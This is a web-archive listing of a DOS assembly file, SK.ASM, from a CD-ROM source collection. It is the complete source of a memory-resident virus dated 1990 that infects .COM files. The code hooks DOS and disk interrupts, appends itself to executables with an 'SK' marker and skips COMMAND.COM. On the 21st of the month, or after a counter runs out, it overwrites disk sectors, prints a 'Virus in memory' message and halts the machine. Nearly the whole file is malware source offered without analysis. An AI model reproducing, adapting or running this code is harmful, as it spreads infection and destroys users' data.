home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SK.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  7KB  |  428 lines

  1. start:  jmp     short begin
  2.     db    (00h)
  3.     db    (53h)
  4.     db    (4bh)
  5.     int    20h
  6. okey:    db    (0b8h)
  7.     db    (03h)
  8.     db    (00h)
  9.     db    (0cdh)
  10.     db    (10h)
  11. begin:    push    cx
  12.     CALL    F1
  13. F1:    POP    SI
  14.     SUB    SI,09
  15.     mov    ax,0
  16.     mov    ds,ax
  17.     mov    word ptr [312h],si
  18.     push    cs
  19.     pop    ds
  20.     push    cs
  21.     pop    es
  22.     cld
  23.     mov    di,100h
  24.     mov    cx,5
  25.     rep    movsb
  26.     jmp    ding2
  27. int20h: mov    ah,00h
  28.     jmp    mm
  29. int21h: STI
  30.         cmp     ah,00h
  31.     jz    mm
  32.     cmp    ah,4ch
  33.     jz    mm
  34.     cmp    ah,0ffh
  35.     jz    mm
  36.         jmp     int1hh
  37. mm:    pushf
  38.         PUSH    AX
  39.     PUSH    BX
  40.     PUSH    CX
  41.     PUSH    DX
  42.     PUSH    DS
  43.     PUSH    ES
  44.     PUSH    SI
  45.     PUSH    DI
  46.     mov    ax,0
  47.     mov    ds,ax
  48.     cmp    byte ptr [302h],0
  49.     jz    mm2
  50.     mov    byte ptr [302h],0
  51.     jmp    main
  52. mm2:    mov    ah,19h
  53.     int    21h
  54.     mov    dl,al
  55.     cmp    dl,01
  56.     jna    mmm5
  57.     add    dl,7Eh
  58.     mov    ax,0
  59.     mov    ds,ax
  60. mmm5:    mov    byte ptr [309h],dl
  61.     mov    byte ptr ch,[308h]
  62.     mov    byte ptr dl,[309h]
  63.     mov    cl,01
  64.     push    cs
  65.     pop    ds
  66.         mov     ax,0201h
  67.     mov    dh,00h
  68.     mov    bx,offset end+7
  69.     push    cs
  70.     pop    es
  71.     int    13h
  72.     mov    ax,0
  73.     mov    ds,ax
  74.     mov    byte ptr ch,[308h]
  75.     mov    byte ptr dl,[309h]
  76.     mov    cl,01
  77.     push    cs
  78.     pop    ds
  79.         mov     ax,0301h
  80.     mov    dh,00h
  81.     mov    bx,offset end+7
  82.     push    cs
  83.     pop    es
  84.     int    13h
  85.     jnc    etk6
  86.     cmp    ah,3
  87.     jnz    etk6
  88.     jmp    main
  89. etk6:    mov    ax,0
  90.     mov    ds,ax
  91.     mov    byte ptr [306h],1
  92.     push    cs
  93.     pop    ds
  94.     mov    ah,2ah
  95.     int    21h
  96.     cmp    dl,21
  97.     jnz    okef
  98.     mov    ax,0309h
  99.     mov    dx,0000h
  100.     mov    cx,0001h
  101.     lea    bx,[100h]
  102.     int    13h
  103.     jmp    short okep
  104. okef:   mov     ax,0
  105.     mov    ds,ax
  106.     inc    word ptr [310h]
  107.     cmp    Word ptr [310h],02FFh
  108.     jnz    et3
  109. okep:    push    cs
  110.     pop    ds
  111.     mov    ah,9
  112.     mov    dx,offset name
  113.     int    21h
  114.     cli
  115.     hlt
  116. dinge:    jmp    ding
  117. et3:    push    cs        ;ds <- cs
  118.     pop    ds
  119.     mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
  120.     int    21h        ;ES:BX Addres of current DTA
  121.     mov    [edta],ES
  122.     mov    [bdta],BX
  123.     mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
  124.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  125.     int    21h
  126.     push    cs
  127.     pop    ds
  128.         MOV     AH,4eH
  129.         MOV     DX,offset files
  130.     mov    cx,00
  131.         INT     21H             ;Dos service function ah=4EH (FIND FIRST)
  132.         jc      dinge           ;CX  File attribute
  133.                                 ;DS:DX Pointer of filespec (ASCIIZ string)
  134. vir:    mov    ax,3d02h
  135.     push    cs
  136.     pop    ds
  137.     mov    dx,offset end+7 ;DS:DX Addres of DTA
  138.     add    dx,1EH
  139.     int    21h        ;Dos service function ah=3DH (OPEN FILE)
  140.                                 ;AL Open mode
  141.                                 ;DS:DX Pointer to filename (ASCIIZ string)
  142.                                 ;Return AX file handle
  143.         mov     [handle],ax
  144.     mov    ah,'C'
  145.     mov    al,'D'
  146.         PUSH    DX
  147.         POP     BX
  148.     cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
  149.     jnz    p1        ;If not first char 'C' then push virus in file
  150.     cmp    [bx+6],al
  151.     jz    v        ;If 7 char 'D' then find next file
  152. p1:     mov     bx,handle
  153.         push    cs
  154.     pop    ds
  155.     mov    ah,3fh
  156.     mov    dx,offset end
  157.     mov    cx,5
  158.     int    21h        ;Dos service function ah=3FH (READ FILE)
  159.                                 ;BX File handle
  160.                                 ;CX Number of bytes to read
  161.                                 ;DS:DX Addres of buffer
  162.     push    cs
  163.     pop    es        ;ES <- CS
  164.     cld
  165.         PUSH    DX
  166.         POP     SI
  167.     mov    di,offset okey
  168.     mov    cx,5
  169.     rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
  170.                                 ;                     SI=SI+1
  171.                                 ;                     DI=DI+1
  172.     mov    ax,534bh
  173.     mov    di,dx
  174.     add    di,3
  175.     cmp    [di],ah
  176.     jnz    fuck
  177.     inc    di
  178.     cmp    [di],al
  179.     jnz    fuck
  180. v:    push    cs
  181.     pop    ds
  182.     mov    bx,handle
  183.     mov    ah,3eh
  184.     int    21h
  185.     push    cs
  186.     pop    ds
  187.     mov    ah,4fh
  188.     int    21h
  189.     jc    enzi
  190.     jmp    short vir
  191. enzi:    jmp    ding
  192. fuck:   mov     ax,offset end+7
  193.     add    ax,1aH
  194.     mov    di,ax
  195.         Mov     Word Ptr cx,[di]
  196.         mov     ax,offset end
  197.     mov    di,ax
  198.     mov    al,0e9h
  199.     cmp    cx,1a0h
  200.     jna    v
  201.     add    cx,2
  202.     mov    [di],al
  203.     inc    di
  204.     mov    Word Ptr [di],cx
  205.     mov    ax,534bh
  206.     add    di,2
  207.     mov    [di],ah
  208.     inc    di
  209.     mov    [di],al
  210.         mov     bx,[handle]    ;
  211.     mov    ax,4200h
  212.     xor    cx,cx
  213.     xor    dx,dx
  214.     push    cs
  215.     pop    ds
  216.     int    21h
  217.     mov    bx,handle
  218.     mov    ah,40h
  219.     mov    dx,offset end
  220.     mov    cx,5
  221.     int    21h
  222.     mov    ax,4202h
  223.     xor    cx,cx
  224.     xor    dx,dx
  225.     int    21h
  226.     push    cs
  227.     pop    ds
  228.     mov    bx,handle
  229.     mov    ah,40h
  230.     mov    dx,offset okey
  231.     mov    cx,end-okey
  232.     int    21h
  233.     mov    bx,handle
  234.         mov     ah,3eh
  235.     int    21h
  236.     mov    ax,0000
  237.     mov    ds,ax
  238.     inc    Word ptr [0310h]
  239. ding:    push    cs
  240.     pop    ds
  241.     mov    ah,1ah
  242.     mov    ds,[edta]
  243.     mov    dx,[bdta]
  244.     int    21h
  245.     mov    ax,0
  246.     mov    ds,ax
  247.     mov    byte ptr [306h],0
  248. main:    PUSH    CS
  249.     POP    DS
  250.     POP    DI
  251.     POP    SI
  252.         POP     ES
  253.     POP    DS
  254.     POP    DX
  255.     POP    CX
  256.     POP    BX
  257.     POP    AX
  258.     popf
  259. int1hh    nop
  260. int1h:  db      (0eah)
  261. is:    dw    0
  262. io:    dw    0
  263.  
  264. int13h: cli
  265.     PUSH    BX
  266.     PUSH    CX
  267.     PUSH    DX
  268.     PUSH    DS
  269.     PUSH    ES
  270.     PUSH    SI
  271.     PUSH    DI
  272.     push    ax
  273.     mov    ax,0
  274.     mov    ds,ax
  275.     pop    ax
  276.     mov    byte ptr [308h],ch
  277.     mov    byte ptr [309h],dl
  278.     push    cs
  279.     pop    ds
  280.     push    ax
  281.     push    ds
  282.     cmp    ah,03
  283.     jz    etk2
  284.     cmp    ah,05
  285.     jnz    etk3
  286. etk2:    mov    ax,0000
  287.     mov    ds,ax
  288.     inc    Word ptr [310h]
  289.     cmp    Word ptr [310h],02FEh
  290.     jnz    etk3
  291.     push    cs
  292.     pop    ds
  293.     STI
  294.     int    20h
  295. etk3:    pop    ds
  296.         pop     ax
  297.     STI
  298.         int     65h
  299.     pushf
  300.     push    ax
  301.     mov    ax,0
  302.     mov    ds,ax
  303.     cmp    byte ptr [306h],0
  304.     pop    ax
  305.     jz    etk4
  306.     popf
  307.         clc
  308.     mov    ax,0
  309.     jmp    short etk5
  310. etk4:   popf
  311. etk5:   POP     DI
  312.     POP    SI
  313.         POP     ES
  314.     POP    DS
  315.     POP    DX
  316.     POP    CX
  317.     POP    BX
  318.     db    (0CAH)
  319.     db    (02)
  320.     db    (00)
  321. name:    db    'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
  322. for1:    jmp    ding1
  323. files:    db    '*.com',0
  324. ding2:    mov    ax,0000h
  325.     mov    ds,ax
  326.         MOV     BX,300H
  327.     MOV    CX,4b53h
  328.     cmp    [bx],cx
  329.     jz    for1
  330.         mov     [bx],cx
  331.         mov     ah,62h
  332.     int    21h
  333.     mov    ds,bx
  334.     mov    bx,[2ch]
  335.     dec    bx
  336.     mov    dx,0FFFFh
  337. loc_1:    mov    ds,bx
  338.     mov    di,[3]
  339.     inc    di
  340.     add    dx,di
  341.     add    bx,di
  342.     cmp    byte ptr [0000],5Ah
  343.     jne    loc_1
  344.     mov    cx,es
  345.     add    cx,dx
  346.     sub    word ptr [3],80h
  347.     sub    cx,80h
  348.     sub    cx,10h
  349.     mov    es,cx
  350.     mov    di,100h
  351.     cld
  352.         mov     ax,0000h
  353.         mov     ds,ax
  354.         mov     bx,[004ch]
  355.         mov     [0194h],bx
  356.         mov     cx,[004eh]
  357.         mov     [0196h],cx
  358.     mov    ax,0
  359.     mov    ds,ax
  360. lenf    equ    word ptr ds:[312h]
  361.         mov     ax,0000h
  362.     mov    ds,ax
  363.     mov    bx,[0084h]
  364.     mov    cx,[0086h]
  365.     mov    ax,0
  366.     mov    ds,ax
  367.         mov     di,is-okey
  368.         add     di,lenf
  369.     push    cs
  370.     pop    ds
  371.     mov    [di],bx
  372.     mov    [di+2],cx
  373.     mov    ax,0
  374.     mov    ds,ax
  375.     mov    si,[312h]
  376.     sub    si,7
  377.     push    cs
  378.     pop    ds
  379.     mov    di,100h
  380.     mov    cx,800h
  381.     rep    movsb
  382.     mov    ax,0000
  383.     mov    ds,ax
  384.     cli
  385.     mov    WORD PTR [0086h],ES
  386.         mov     WORD PTR [004eh],ES
  387.     mov    word ptr [0082h],es
  388.     mov    di,int20h-okey
  389.     add    di,107h
  390.         mov     WORD PTR [0080h],di
  391.     mov    di,int13h-okey
  392.     add    di,107h
  393.         mov     WORD PTR [004ch],di
  394.     mov    di,int21h-okey
  395.     add    di,107h
  396.     mov    WORD PTR [0084h],di
  397.     sti
  398. Ding1:    mov    ax,0
  399.     mov    ds,ax
  400.     mov    byte ptr [306h],1
  401.     mov    byte ptr [302h],0
  402.     mov    ah,19h
  403.     int    21h
  404.     mov    dl,al
  405.     cmp    dl,01
  406.     jna    mmm
  407.     add    dl,7Eh
  408.     mov    ax,0
  409.     mov    ds,ax
  410. mmm:    mov    byte ptr [309h],dl
  411.     push    cs
  412.     pop    ds
  413.     mov    ah,0ffh
  414.     int    21h
  415. for:    mov    ax,0
  416.     mov    ds,ax
  417.     mov    byte ptr [306h],0
  418.     mov    byte ptr [302h],1
  419.     PUSH    CS
  420.     POP    DS
  421.     pop    cx
  422.     mov    si,100h
  423.     jmp    si
  424. handle: dw    ?
  425. edta:    dw    ?
  426. bdta:    dw    ?
  427. com:    db    'COMMAND'
  428. end:    db      (00)